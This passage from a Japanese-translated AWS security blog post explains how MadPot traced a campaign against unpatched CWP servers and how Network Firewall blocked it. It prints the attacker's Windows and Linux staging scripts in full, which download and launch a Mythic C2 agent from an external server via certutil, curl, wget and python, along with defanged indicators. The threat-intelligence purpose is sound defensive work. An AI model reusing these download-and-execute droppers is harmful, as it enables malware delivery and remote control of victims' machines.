hxxp://vc2.b1ack[.]cat:28571/swt (Windows スクリプト, SHA256: 6ec153a14ec3a2f38edd0ac411bd035d00668a860ee0140e087bb4083610f7cf) hxxp://196.251.116[.]232:28571/swt レイヤー 2 – MadPot がマルウェアを分析した結果、Windows バッチファイル ( SHA256: 6ec153a1... ) には、システムアーキテクチャを判別して適切な Mythic エージェントをダウンロードするロジックが含まれていることが判明しました。 @echo off setlocal enabledelayedexpansion set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true" set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true" set v="C:\Users\Public\350b0949tcp.exe" del %v% for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do ( set "ARCH=64" ) if "%ARCH%"=="64" ( certutil.exe -urlcache -split -f %u64% %v% ) else ( certutil.exe -urlcache -split -f %u32% %v% ) start "" %v% exit /b 0 Linux スクリプト ( SHA256: bdf17b30... ) は、x86_64、i386、i686、aarch64、armv7l の各アーキテクチャに対応していました。 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true" l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true" a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true" a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true" v="43b6f642tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') # [additional architecture checks] fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) レイヤー 3 – MadPot は、これらのステージングスクリプトと、そこで参照されているインフラストラクチャを分析することで、Mythic C2 フレームワークのエンドポイントを示す追加の脅威指標を特定しました。 ヘルスチェックエンドポイント 196.251.116[.]232:7443 および vc2.b1ack[.]cat:7443 HTTP リスナー 196.251.116[.]232:80 および vc2.b1ack[.]cat:80 MadPot の分析から 30 分以内に、この攻撃インフラストラクチャのすべてのレイヤーを対象とした保護ルールが、世界中の Network Firewall のインスタンスにデプロイされました。その結果、脆弱な CWP 環境もこのキャンペーンから保護された状態が保たれました。エクスプロイトが curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt または certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt を実行しようとしても、インフラストラクチャが稼働している間は、Network Firewall が vc2.b1ack[.]cat ドメインの名前解決と 196.251.116[.]232:28571 への接続の両方をブロックしていたためです。脆弱なアプリケーションがエクスプロイトのペイロードを実行した可能性はありますが、Network Firewall はネットワークレイヤーでマルウェアのダウンロードをブロックしました。 仮にステージングスクリプトが別の手段で標的に到達したとしても、アーキテクチャ固有の URL がブロックされているため、Mythic エージェントのバイナリをダウンロードしようとした時点で失敗していたはずです。さらに、まったく別の感染経路で Mythic エージェントのバイナリが配信され、実行されたとしても、C2 を確立することはできなかったはずです。マルウェアがポート 7443 の Mythic フレームワークのヘルスエンドポイントや、ポート 80 の HTTP リスナーに接続しようとしても、Network Firewall がネットワーク境界でそれらの接続を遮断していたはずだからです。 このシナリオは、アクティブ脅威防御のインテリジェンスパイプラインが、脅威アクティビティのさまざまな段階をどのように阻止するかを示しています。これこそがスイスチーズモデルの実践です。ある防御レイヤー (例えば OAST のブロック) が適用できない場合でも、後続のレイヤー (ホストされたマルウェアのダウンロード、マルウェアのネットワーク動作、ボットネットインフラストラクチャの特定) が重層的に保護します。MadPot による攻撃の分析では、各レイヤーで追加の脅威指標が明らかになり、それらが攻撃チェーンのさまざまな段階でお客様を保護します。 つまり、パッチ未適用の CWP 環境を使用している GuardDuty のお客様は、アクティブ脅威防御で追跡している脅威指標に該当する通信先との通信が試みられていれば、脅威の検出結果を受け取っていたはずです。また、アクティブ脅威防御を使用している Network Firewall のお客様の場合、パッチ未適用の CWP ワークロードは、この CVE が 11 月 4 日に CISA の Known Exploited Vulnerabilities カタログ に追加されるよりも前から、このキャンペーンに対して自動的に保護されていたはずです。 まとめ Network Firewall 向けの AWS アクティブ脅威防御は、MadPot のインテリジェンスと多層的な保護を活用して攻撃者のキルチェーンを阻止し、セキュリティチームの運用負担を軽減します。ルールが自動でデプロイされるため、アクティブ脅威防御は MadPot が新たな脅威を検出してから 30 分以内に多層的な防御を構築します。Amazon GuardDuty のお客様は、アクティブ脅威防御が特定した悪意のあるインフラストラクチャとワークロードが通信しようとすると、脅威の検出結果を自動的に受け取ります。また、AWS Network Firewall のお客様は、アクティブ脅威防御マネージドルールグループを使用して、これらの脅威を能動的にブロックできます。使用を開始するには、 AWS Network Firewall での Amazon 脅威インテリジェンスを活用したセキュリティポスチャの強化 を参照してください。   この記事に関するご質問は、 AWS サポートにお問い合わせ ください。   Rahi Patel Rahi は、ネットワーキングを専門とする AWS の Startups Technical Account Manager です。グローバルな AWS デプロイ全体でパフォーマンスを最適化するクラウドネットワーキングソリューションを設計しています。以前は Cisco Meraki でネットワークエンジニアを務めていました。サンノゼ州立大学で工学の修士号を取得しています。仕事以外では、テニスとピックルボールを楽しんでいます。 Paul Bodmer Paul は AWS の Security Engineering Manager で、Perimeter Protection Threat Research Team を率いています。AWS がディセプション技術を活用し、AWS の社内外のセキュリティサービス向けに実用的な脅威インテリジェンスを生み出すための戦略的な方針の策定を担当しています。 Nima Sharifi Mehr Nima は AWS の Principal Security Engineer で、Perimeter Protection Threat Research Team の技術的な方向性を統括しています。また、MadPot の開発者でもあります。MadPot は現在、Amazon のサイバーセキュリティ戦略の柱として社内のさまざまなチームで活用されており、お客様とパートナーを保護するとともに、世界のサイバーセキュリティ水準の向上に貢献しています。 Maxim Raya Maxim は AWS の Security Specialist Solutions Architect です。お客様が AWS 環境のセキュリティとコンプライアンスに確信を持てるよう支援し、クラウドトランスフォーメーションの加速をサポートしています。 Santosh Shanbhag Santosh は、セキュリティ、データ保護、コンプライアンスを専門とする経験豊富なプロダクトリーダーです。AWS では、AWS Network Firewall やアクティブ脅威防御をはじめとするネットワークおよびアプリケーションセキュリティサービスを通じて、ワークロードの保護に注力しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。